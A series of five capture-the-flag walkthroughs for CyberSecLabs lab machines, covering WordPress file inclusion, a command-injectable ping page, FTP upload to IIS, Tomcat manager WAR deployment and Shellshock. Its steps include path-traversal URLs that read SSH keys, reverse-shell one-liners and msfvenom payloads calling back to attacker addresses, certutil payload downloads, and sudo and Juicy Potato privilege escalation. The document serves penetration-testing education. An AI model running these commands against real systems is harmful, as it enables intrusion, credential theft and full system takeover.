CyberSecLabs – “CMS” Walkthrough

CyberSecLabs

CMS from CyberSecLabs is a beginner level box hosting a WordPress installation. Using a file inclusion vulnerability we’ll gain access to the target, and exploit weak sudo permissions to escalate to root.

Let’s get started.

The IP Address for CMS is 172.31.1.8

Scanning and Enumeration

As always we run our Nmap scan against the target with -sC for default scripts, -sV for enable service enumeration, -p- to scan all TCP ports.

nmap -sC -sV -p- 172.31.1.8

Only two open ports on the target. Port 22 running SSH and port 80 hosting a HTTP web server. When we see this on a pentest or capture the flag, port 80 is almost always the initial entry point.

Next, I’ll run Nitko against the target to scan the web server.

nikto -h 172.31.1.8

Nothing actionable here other than confirming a WordPress installation. Let’s move on to directory busting.

gobuster dir –wordlist /usr/share/wordlists/dirb/big.txt –url 172.31.1.8

Again, we don’t find anything interesting, other than a couple WordPress pages.

Nikto and Gobuster didn’t provide us with any actionable information. We need to dig deeper and enumerate the web server. Which happens to be a WordPress site, let’s use….

WPScan – WordPress Security Scanner

WPScan is a WordPress vulnerability scanner that helps enumerate plugins, themes, and other information about WordPress installations. Let’s run this against the target web server.

WPScan with default options will generate a list of theme’s, and plugins to enumerate. It also points out which versions are out of date.

Here we see a plugin identified. I’m not familiar with this specific plugin, so I’ll do a quick Searchsploit to see if it has any known vulnerabilities.

wpscan –url 172.31.1.8

Searchsploit will search the local Exploit-DB repository on your Linux box. Provided you’ve updated the Searchsploit database, what you see here are the same results you’ll find on the Exploit-DB website.

We find an exploit for the WP with Spritz plugin. Our version also matches, so now we have a vulnerability to exploit.

searchsploit -w wp with spritz

Exploitation

We have a vulnerable WordPress plugin named WP-with-Spritz. Our exploit is a Remote File Inclusion vulnerability as stated in the title. However, if you look at the code we have two working POC’s. One Remote file inclusion, and one for Local file inclusion. Which one do we use to exploit?

File Inclusion Vulnerabilities

LFI or Local File Inclusion vulnerabilities allow the attacker to read and sometimes execute files on the target machine.

RFI or Remote File Inclusion vulnerabilities are easier to exploit but less common. Instead of accessing a file on the target system, the attacker is able to execute code hosted on their own machine.

Now we’ve got a primer on file inclusion vulnerabilities so let’s continue. Essentially, we’re manipulating the URL address into displaying local files on the target. The POC provided in the exploit will grab the /etc/passwd file. Since this file is readable by all users on a Linux system, this is a great way to test the vulnerability.

I navigate to the following URL and then right click and select “View Source”. This will provide the formatting associated with the file.

http://172.31.1.8//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd

http://172.31.1.8//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd

Pause for a moment and think back to our initial Nmap scan. Two ports open. One is the web server, and the other is SSH. That means we could probably find a user with a private key that might allow us to connect to the target over SSH.

On a Linux system private SSH keys are stored in the user’s home folder under .ssh. If we peak at the /etc/passwd file you notice the only other user account besides root is the “angel” account. That’s our user.

Modify our URL address path to /home/angel/.ssh/id_rsa in your browser and go. Again to format the file, right click and select “View Source”.

http://172.31.1.8//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//home/angel/.ssh/id_rsa

Copy the private key into a file named id_rsa. Then chmod on the file to allow us to execute it.

Now we’ll use the private key inside the id_rsa file to connect to the target over SSH as the angel user.

chmod 700 id_rsa
ssh -i id_rsa angel@172.31.1.8

Success! We are now logged into the target as Angel.

Privilege Escalation

You’ve gained access to a Linux system as a low privileged user. What’s the first thing you do?

Check Sudo Permissions. The easiest and quickest win on a Linux system can be found by running Sudo -L.

This will show you what commands can be run under the Root account without a password, by the current user.

sudo -l

This is the holy grail for Sudo permissions. If you ever find a user who can run (ALL : ALL) NOPASSWD: ALL, you can immediately own that box and become root.

Again, whatever command we run will be run under the Root account. All we have to do is spawn a bin/bash shell as the root user. Boom. Done. It’s that easy.

sudo -l
sudo /bin/bash

Capture the flags!

Don’t forget to capture your flags and complete the box.

cat /home/angel/access.txt
cat /root/system.txt

That is CMS from CyberSecLabs. An excellent beginner box that demonstrates how to exploit a file inclusion vulnerability to gain initial access to the target. Once we got our low privileged user, we used a simple Sudo command to spawn a root shell. Always, always, always check those Sudo permissions. That is easiest and quickest way to score a win on Linux.

CyberSecLabs – “Unroot” Walkthrough

CyberSecLabs

Unroot from CyberSecLabs is a beginner Linux box hosting a web server with a hidden ping-test page which we’ll exploit to get our initial low priv shell. For privilege escalation we will use a very simple Sudo exploit to get root.

Let’s get started.

Unroot’s IP Address is 172.31.1.17. Connect to the VPN and ping the target to verify connectivity.

Scanning and Enumeration

As usual we start with a simple Nmap scan of the target. Here I have -sC to run default scripts, and -sV to enumerate services.

nmap -sC -sV 172.31.1.17

Our Nmap output shows us we have two open ports. One being SSH on port 22, and we have HTTP on port 80. Additionally port 80 shows its running Apache and a phpmyadmin page.

Let’s explore port 80 further with directory busting. I’ll use a tool called GoBuster which is easy to use and efficient at searching for hidden directories. You’ll need a wordlist to use with Gobuster along with specifying extensions to search for. In this case I’m using the big.txt wordlist included on Kali Linux, and searching for directories and pages with the php extension since we already know the web server is hosting php.

gobuster dir –wordlist /usr/share/wordlists/dirb/big.txt –url 172.31.1.17 -x php

Gobuster revealed multiple pages and directories. Now you could go through these results one by one until you find something juicy. Let’s run another tool and see if it helps us narrow down that list. I run Nitko web scanner on any open HTTP ports I find and this target is no different.

nikto -h 172.31.1.17

Nikto found two interesting directories, /doc and /dev. Both have directory indexing enabled which allows us to navigate via a web browser. /Doc is usually a directory for… You guessed it documentation and manuals. /Dev sounds like it could be useful to us, let’s explore it further.

First I navigate to the target’s IP address and find a PhpMyAdmin login page. With any beginner box you might as well try a few common default passwords at a login prompt. You never know what might work. In this case, I couldn’t score a easy win with a username/password of admin/admin or anything else I tried. No worries.

172.31.1.17

Now I navigate to the /Dev directory, and we find the helpful index with a couple of pages. Info.php will show us all the php info and version information setup on this web server. That can be useful but you have to know what to look for and even then its not guaranteed to be exploitable or actionable. Next, we have ping-test.php. Ding ding ding. Red flag. This is something we can definitely exploit.

172.31.1.17/dev/

So this is a simple web page with a field to enter and run commands. It’s meant to be used to ping hosts on the network or confirm connectivity. However if it can execute the ping command, it might also allow us to run other commands.

172.31.1.17/dev/ping-test.php

Exploitation

We have a ping-test page with that allows us to execute commands from the target server. All we need now is a malicious command that will give us remote access to the target. This is otherwise known as a reverse shell one liner. Google will produce several cheat sheets for you to work through, lets go to one of the more well known and used cheat sheets from PentestMonkey.

We know the web server will execute php code so we can try out a php reverse shell one-liner. If you aren’t sure which one-liners to test out, you can always go down the list one by one until you get one that works.

php -r ‘$sock=fsockopen(“10.0.0.1”,1234);exec(“/bin/sh -i <&3 >&3 2>&3”);’

Alternatively, I found this Netcat reverse shell one liner also worked on Unroot.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Start a Netcat listener on your favorite port and then execute the one liner on the ping-test page.

nc -lvnp 4321
whoami
python -c ‘import pty;pty.spawn(“/bin/bash”)’

You’ll get a reverse shell connection and notice this is a crappy basic shell and its somewhat limited. You could use python to spawn an interactive bash prompt. Or… If you could modify the one-liner to spawn a bash shell.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

nc -lvnp 4321

There we go, we have nice reverse shell prompt as the user “joe”.

Privilege Escalation

Unroot is another box where we don’t need to run automated tools like LinPEAS. The path for privilege escalation can be found utilizing one of the first commands I run when I get access to a Linux system.

Sudo -l

This reveals what sudo commands can be run by the current user. In this case “joe” is allowed to run ALL commands as any user except the root user. Well that’s disappointing. !root means not the root account.

What if this version of Sudo is vulnerable to an exploit that might help us? Do sudo –version to get the versioning info on Sudo. There we see Sudo version 1.8.16 is installed.

sudo -l
sudo –version

Searching through Exploit-DB you’ll see several potential exploits. Here I searched for Sudo 1.8. I didn’t include past the second decimal, you don’t want to be too specific while searching. You could miss an exploit that applies to your version while not being an exact version match. There are a lot of exploits that apply to all versions prior.

Exploit-DB results for “Sudo 1.8”

We have 7 possible exploits on Exploit-DB. You can go through each one of these and find the one that applies to our target.

Sudo 1.8.27 – Security bypass is the one that looks promising. Looking at the exploit code, we see this exploit allows a user to execute /bin/bash as the root user even when the Sudoers file specifically says we can’t do that. So why does that work? Here’s a quick explanation from the exploit code:

Sudo doesn't check for the existence of the specified user id and executes the command with an arbitrary user id with the sudo priv.
-u#-1 returns as 0 which is root's id

So if we execute /bin/bash and provide a bogus user id, Sudo will ignore our user id and instead use an arbitrary user with the sudo privilege. Therefore bypassing the check on the user ID and executing as root.

That’s a very simplified explanation, if you care to learn more there’s plenty of information available online around this exploit.

Simply run the following command.

sudo -u#-1 /bin/bash

This runs Sudo with -u specifying the user of -1 (which doesn’t exist) and executes /bin/bash (which spawns a bash prompt). You’ll get a root prompt and from there you can capture all the flags.

sudo -u#-1 /bin/bash
cat /home/joe/access.txt
cat /root/system.txt

That’s Unroot from CyberSecLabs. Really solid beginner Linux system which reinforces the basics of scanning and enumeration, exploitation and privilege escalation. Each step of the way its straightforward, and the only real challenge might be finding the priv esc path if you are new to pentesting.

CyberSecLabs – “Weak” Walkthrough

CyberSecLabs

Weak from CyberSecLabs is a beginner box hosting a FTP file share and Mircorosft IIS web server . We’ll use Nmap and Nikto to enumerate and find a foothold. For privilege escalation we will discover a common Windows privesc path manually without using automated tools like winPEAS.

Weak’s IP Address is 172.31.1.11

Let’s get started.

Scanning and Enumeration

I’ll begin with our standard Nmap scan: -sC for default scripts, and -sV for service enumeration.

First thing I notice at the top is port 21. FTP is open and since we ran our Nmap scan with default scripts we see that anonymous login is allowed. That’s most likely our initial entry point. I see port 80 is hosting a Microsoft IIS web server. Beyond that we have Microsoft SMB ports and an assortment of higher level ports. Those don’t interest me at the moment, let’s focus on those first two for now (21, 80).

nmap -sC -sV 172.31.1.11

Continuing to review our Nmap results we have the Host Scripts results section. Here we learn the machine’s operating system is Windows 7 Ultimate Service pack 1. That information could be useful to us later, so make a note. Nothing else to report here. Let’s move on and enumerate the interesting open ports.

Nmap results – continued

I ran the Nikto vulnerability web scanner on port 80. Nothing to interesting to report here, but we are able to confirm Microsoft IIS 7.5 is running and it’s a default installation. Which does have known vulnerabilities we might be able to leverage.

nikto -h 172.31.1.11

First let’s connect to FTP on port 21 as the anonymous user. If you haven’t done this before you can enter any password you like when prompted. Again for first time FTP users, you can use the HELP command to get a list of commands. I first start with a ls command to list the contents of the directory. I receive an error message. Again if you’ve used FTP before, then you’ve likely encountered this. All you need to do is enter the “passive” command to switch to Passive mode. After you’ll see I’m able to use the ls command successfully.

The directory contents appear to be in the web root folder, which is the root folder used for port 80. In most default IIS installs you’ll find a welcome.png image file.

ftp 172.31.1.11
anonymous
1234
ls
passive
ls

If we browse to the IP address and open the image in a new window. You’ll see that the welcome.png is the IIS logo image. This confirms the FTP directory is in the web root folder. So anything we upload to FTP we can then view or execute in our browser. Sound useful?

172.31.1.11/welcome.png

Exploitation

We’ve discovered a default IIS installation combined with a open FTP share in the web root directory. All we need to do is upload a reverse shell payload and execute it to gain access to the target. We will do this with MSFvenom.

The payload parameters took me a few tries to get right, mainly the file extension. I wasn’t sure initially which files IIS would accept and execute. So I tried a few and found success with the .aspx file extension.

msfvenom -p windows/x64/shell_reverse_tcp lhost=10.10.0.22 lport=4444 -f aspx > shell.aspx

With the payload created we need to transfer shell.aspx to the target. We’ll do this using the FTP client.

Like before you’ll connect to FTP with anonymous login, enable passive mode, and use the put command to transfer the file. Verify the file transferred successfully with a ls command.

ftp 172.31.1.11
anonymous
1234
passive
put shell.aspx
ls

After the reverse shell is transferred to the target setup a Netcat listener on the port specified in your msfvenom payload. With the listener running, navigate to 172.31.1.11/shell.aspx to execute the reverse shell.

nc -lvnp 4444
whoami

Great! We have a low privileged shell as the IIS apppool/alpha site user. The Netcat shell is kinda limited so let’s upgrade it to a Meterpreter shell. That’ll give us more flexibility.

To start we need to create a meterpreter payload msfvenom. Our file type here will be a windows executable.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.0.22 LPORT=4321 -f exe > shell.exe

Now we will transfer the meterpreter payload using Certutil. This is a built-in utility included on most Windows operating systems and my go-to tool for windows file transfers.

cd C:\inetpub\wwwroot\
certutil -urlcache -f http://10.10.0.22/shell.exe shell.exe
dir
shell.exe

With the meterpreter payload on the target machine, we need to launch MSFconsole and configure a Exploit/Multi/Handler. Set the parameters to match your port and IP Address and run the handler.

options
run
getuid

All we need to do now is execute shell.exe and wait for the Meterpreter session to connect. Awesome, we a nice Meterpreter prompt with lots of built in options and flexibility. That will help us during the next phase.

Privilege Escalation

Privesc on this box will be a bit different, in that I won’t be running WinPEAS or any automated scripts to help us here. I found this path on my own by utilizing the whoami /priv command. It’s a good habit to run this command on any Windows box you get access to, it might lead you to towards a quick win or at least point you in the right direction for escalation.

Running whoami /priv reveals we have the SeImpersonatePrivilege privilege enabled. This allows us perform a Juicy Potato attack.

whoami /priv

What is a Juicy Potato attack?

Juicy Potato is a variant of RottenPotatoNG which leverages the privilege escalation chain based on the BITS service having the MiTM listener on 127.0.0.1:6666 and when you have SeImpersonate or SeAssignPrimaryToken privileges.

Basically, if you have the SeImpersonate or SeAssignPrimaryToken privileges enabled for your account, you can perform this type of local privilege escalation attack.

To launch a Juicy Potato attack we will need a couple of arguments.

JuicyPotato.exe – Required Arguments

JuicyPotato.exe -l [Any_Port] -p [Program_To_Execute] -t * -c
[CLSID_Value
]


[Any_Port] = Any working port that is not blocked by the windows
[Program_To_Execute] Path to a msfvenom exe reverse shell that will be executed and connect back to our attacker machine.
[CLSID_Value] We need to find the correct CLSID value from the list.

So the only thing we need to search for would be the CLSID value. These values are operating system specific. If you refer back to the Github page, you can download the CLSID list for whichever Windows operating system you need.

https://github.com/ohpe/juicy-potato/tree/master/CLSID

We know from our scanning and enumeration that the target is a Windows 7 system. So make sure you get the Windows 7 CLSID list.

To get started we need a couple of files transferred to the target.

JuicyPotato.exe – The executable to launch the attack
TestCLSID.bat – This bat script will test each CLSID value included in CLSID.list
CLSID.list – The list of operating system specific CLSID values to test. This list feeds the TestCLSID.bat script.

Make sure to upload JuicyPotato.exe, TestCLSID.bat and CLSID.list to same folder on the target machine.

Transferring the Juicy Potato files to the target using Meterpreter.

Start the TestCLSID.bat script and allow it to run for about 5 minutes. This should allow enough time to collect a CLSID running as the NT Authority/SYSTEM user.

TestCLSID.bat

Cat out the contents of the result.log and we should see many CLSID’s. Select anyone of the CLSID’s that is running under the NY Authority/SYSTEM account.

cat result.log

With the CLSID value selected we are ready to launch Juicypotato.exe. Refer back to the syntax above and fill in the arguments. I’ll be reusing my shell.exe file from before since its located in the same folder as the Juicy potato files.

You will need to configure the Exploit/Multi/Handler in Metasploit again for the new shell we are about to spawn.

juicypotato.exe -l 1337 -p C:\inetpub\wwwroot\shell.exe -t * -c {90F18417-F0F1-484E-9D3C-59DCEEE5DBD8}

Run the exploit and wait for the session to be opened.

run
getuid

Boom. We are NY Authority/SYSTEM. We’ve owned this box. Now all that’s left is…

Capture the Flags!

type “C:\Users\Web Admin\Desktop\access.txt”
type “C:\Users\Administrator\Desktop\system.txt”

So that’s Weak from CyberSecLabs. A beginner box where we exploit a FTP file share/IIS web server with anonymous access to get a reverse shell and eventually launch a token impersonation attack using Juicy Potato to escalate our privilege to NY Authority. This was my first time using Juicy Potato and doing token impersonation and it was a great learning experience.

CyberSecLabs – “Deployable” Walkthrough

CyberSecLabs

Deployable from CyberSecLabs is a beginner level box where we’ll explore a default Apache Tomcat installation for initial access. Then use winPEAS to enumerate the box and find the privilege escalation path by exploiting a vulnerable Windows service.

Let’s get started.

Deployable’s IP address is 172.31.1.13.

Scanning and Enumeration

As per usual we start with the following Nmap scan to explore the open ports and services. I’m using -sC to run default scripts, -sV to enumerate service versions, and -p- to scan all TCP ports (1-65535).

nmap -sC -sV -p- 172.31.1.13

Let’s review. We have Microsoft SMB, RDP, and then several uncommon ports running HTTP services. I don’t care about the 49152-49164 ports, on most beginner boxes they aren’t that interesting or useful. The next thing I want to do is run Nitko Web Vulnerability Scanner on the ports hosting HTTP.

You should run the scanner on all HTTP ports to be thorough. In an effort to keep things concise, I’ll only show you the Nikto results from port 8080.

nikto -h 172.31.1.13:8080

Buried in the Nikto output I see a web page /manager/html and its for Tomcat Manager Application. It also tells us (pass protected) so we will need a password to login to the Manager app. Let’s go to our browser and check out the Apache Tomcat installation.

172.31.1.13:8080 – Apache Tomcat front page.

So here’s the front end of the Apache Tomcat site. There’s several links and things to explore here if you aren’t familiar, but the vital part is the Manager App. If you click on the manager app, you’ll be prompted for a password. I don’t know the password, so I’ll try something like tomcat/admin. As you’ll see below that didn’t work and we get a 401 unauthorized page.

172.31.1.13:8080/manager/html – Login Error

This is where it pays to read all error messages even if they might not seem important at first glance. One of the default passwords for Tomcat is given here. Tomcat for the username and s3cret as the password. Now you could look up a wordlist of Tomcat passwords and in that list you’d find this combination. Another approach would be to use Burpsuite to launch a password attack on the login form. That’s a good exercise but not required for this beginner box.

Login to the Manager App with the credentials. You’ll be taken to the Tomcat Web Application Manager page. Here we see all the Tomcat applications listed.

Inside the Tomcat Web Application Manager

Exploitation

Inside the Tomcat Manager if you scroll past the list of applications we have the Deploy section. We have two options to upload a WAR (Web application resource) file. One from a file located on the server, which we don’t have access to yet, and another to select local file to upload.

WAR file upload

If you aren’t aware of haven’t dealt with WAR files, MSFvenom from Metasploit has the ability to create WAR file payloads. You can look up a MSFvenom cheat sheet like this one at HackTricks, and find the correct payload parameters.

The important part is the java/jsp_shell_reverse payload parameter and then specifying the file type as a WAR file. For good measure I added the execute permission with chmod.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.0.22 LPORT=4321 -f war > shell.war

With the payload generated go back to the Tomcat Manager and upload your WAR file. You’ll see the shell added to the list of applications at the bottom.

/shell uploaded as a deployable WAR file.

Setup a Netcat listener on the same port you specified in your MSFvenom payload and click on the /shell application link in the Tomcat application manger to execute the WAR file reverse shell.

nc -lvnp 4321
whoami

Excellent. We have a shell and we are the tomat user. That’s a great start but we’ll need to escalate our privileges if we want to own this box.

Privilege Escalation

For this box we will be using winPEAS for enumeration and getting a lay of the land. You could check all of these manually of course but winPEAS is a fast and thorough option you should definitely check out. To get started we need to transfer the winPEAS executable to the target machine.

I’ll use the http.server module for python3 on port 80 to host the file on my attacker machine.

python3 -m http.server 80

My favorite windows transfer tool and one of the easiest for beginners is Certutil. This is a built-in utility that’s present on most Windows operating systems.

certutil -urlcache -split -f http://10.10.0.22/winPEAS.exe winPEAS.exe

Transfer the winPEAS.exe file to the target and run winPEAS. Increase the number of lines in your terminal if you have trouble scrolling through the output, or you can echo the output of winPEAS into a text file for easier reading.

winPEAS generates a lot of output because its very comprehensive in terms of privilege escalation techniques and enumerating the operating system. Scroll down until you find the Services information.

winPEAS output – Services Information

Here we see red text indicating an interesting finding, or something worth exploring as a potential route for privilege escalation. We have a service named Deploy and it has no quotes around the folder path. This is called a unquoted service path.

Let’s look at the service itself and confirm this winPEAS finding by using the built-in windows service utility.

sc qc deploy

As you can see in the Binary_Path_Name field we confirm the unquoted service path is present for the Deploy service.

To exploit this vulnerability we need to insert our own malicious executable into the Deploy Ready folder. Typically as a low privileged user you won’t be able to write to the Program Files folder.

To create the executable we will once again use msfvenom to generate the payload. This time it will be suited for a Windows operating system and with the file type of a windows executable. Call it Service.exe.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.0.22 LPORT=1234 -f exe > Service.exe

We have our reverse shell payload created and are ready to transfer the file to the target. First we’ll change directory into the C:\Program Files\Deploy Ready\ folder. For the transfer we will use certutil again. I confirm the file is in place with a quick dir command.

cd “C:\Program Files\Deploy Ready”
certutil -urlcache -split -f http://10.10.0.22/Service.exe Service.exe
dir

With the Service.exe payload transferred and our Netcat listener running, we are now ready to start the Deploy service. I’ll do that with the “sc start Deploy” command.

nc -lvnp 1234
whoami

There we go! As the service starts it executes our reverse shell payload and connects back to our Netcat listener. We have escalated our access to the NT authority/system account. OWNED! Now we are ready to…

Capture the Flags!

type C:\Users\tomcat\Desktop\access.txt
type C:\Users\Administrator\Desktop\system.txt

That’s Deployable from CyberSecLabs. I personally enjoyed this beginner box. Like the others at CyberSecLabs the initial exploit and privilege escalation techniques are widely used and cover the basics. Enumerating HTTP ports, gaining access to Tomcat Manager, uploading a reverse shell. Transferring files to the target, exploiting a vulnerable service. All solid techniques even if they feel easy to you. That’s good! Take notes you’ll be using them again for sure.

CyberSecLabs – “Shock” Walkthrough

CyberSecLabs

Shock from CyberSecLabs is a beginner Linux box hosting a Apache web server. We’ll use Nikto to discover a Bash vulnerability that we can use to get a shell. To complete the box we’ll use some basic Linux privesc techniques to escalate to root.

The IP address for Shock is 172.31.1.3.

Scanning and Enumeration

I start out with Nmap scan with -sC for default scripts, -sV for service enumeration, and -p- to scan all 65535 TCP ports.

nmap -sC -sV -p- 172.31.1.3

We have FTP open on 21, SSH on 22, and a web server hosted on port 80.

FTP is a common initial attack vector, but in this case it doesn’t look like we have anonymous access. Usually SSH isn’t very interesting, its mostly used after we’ve already got our initial foothold. Let’s dig into the web server being hosted on port 80. I’ll use the Nikto web vulnerability scanner for this.

nikto -h 172.31.1.3

Nikto takes a while to complete but that’s because when run with default options it scans for over 7,000 known vulnerabilities.

Buried in the output we find a juicy bit of information. We have a page that is vulnerable to Shellshock! Hey, that makes sense since the box is named Shock.

Exploitation – Metasploit Route

We have a vulnerability now let’s find an exploit. I’ll start with Searchsploit to see what’s available for Shellshock.

searchsploit shellshock

There’s several exploits available including Metasploit modules. So fire up msfconsole and let’s do a search. This time I’ll search for the exact CVE number we discovered earlier with Nikto.

search CVE-2014-6278

I’ll start with the first exploit. This is the second one down in our search results, because the first is an auxiliary module which will not result in a shell.

use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS 172.31.1.3
set TARGETURI /cgi-bin/test.cgi
run
getuid

We receive a low privileged shell. We’ll need to escalate our privileges to get root on this system. You can skip ahead if you wish but I recommend trying the manual route.

Exploitation – Manual Route

So we’ve got a shell the easy way with Metasploit now let’s try and do it by exploiting Shellshock manually.

Before we get any further let’s understand how Shellshock works. I found this graphic from Symantec helpful.

Symantec – Shellshock

After some googling I landed on this post which provided a helpful walk through for testing and exploiting Shellshock.

The first part of the article explains how to test for the vulnerability. We’ll use a simple ping command executed after the environmental variable is setup, and the arbitrary command.

I’ll setup a Netcat listener on port 1234 and then use curl to craft the HTTP request.

curl -H ‘User-Agent: () { :; }; /bin/bash -c ‘ping -c 3 10.10.0.41:1234” http://172.31.1.3/cgi-bin/test.cgi

nc -lvnp 1234

Great we get a response from the web server. This indicates our command was executed successfully. Instead of the ping command let’s insert a bash reverse shell one liner. You can find plenty of reverse shell cheat sheets with this command.

Setup the netcat listener and then run the following command with curl to spawn a bash reverse shell.

curl -H ‘User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.0.41/1234 0>&1’ http://172.31.1.3/cgi-bin/test.cgi

nc -lvnp 1234
whoami

On our netcat listener we have a reverse shell as the www-data user.

Privilege Escalation

We have our initial low privileged shell. Now let’s see what’s available on this box to escalate our privileges and get root.

Normally, when you aren’t sure where to start on PrivEsc (Privilege escalation) you can always run automated tools to help you. LinPEAS is probably one of the best and most popular tools. But there are many others.

As a rule on any Linux system I get access to, I always check what SUDO permission that current user has. More often than not, if you run Sudo -l and you find a binary listed, that will be your method of escalation.

sudo -l

Here we see the www-data has SUDO permissions to run a binary called socat. I’m not that familiar with socat myself, but I know it has similar functionality to Netcat, in that we can use it to create connections between a port and an IP address. So how do we figure out how to use socat? Google of course!

If you haven’t already bookmarked this site. Please do. GTFOBins. Always, always, always lookup a binary you have permissions to on GTFO Bins.

There we find a way to abuse limited SUID privileges and create a reverse shell connection. Just modify the IP Address and port and run the command with sudo.

sudo socat tcp-connect:10.10.0.41:1234 exec:/bin/sh,pty,stderr,setsid,sigint,sane

sudo socat tcp-connect:10.10.0.41:1234 exec:/bin/sh,pty,stderr,setsid,sigint,sane

On our netcat listener we see the reverse shell connected.

nc -lvnp 1234
whoami
hostname

Now we have a shell as the root user. All that’s left is to capture the flags.

Capture the Flags!

cat /home/scott/access.txt
cat /root/system.txt

There you have it. Two methods for exploiting Shock from CyberSecLabs. I found the manual method to be a great way to learn how the bash vulnerability works and how to test for it. Privilege escalation wasn’t difficult but reinforced the basics you’ll need for any capture the flag type scenario.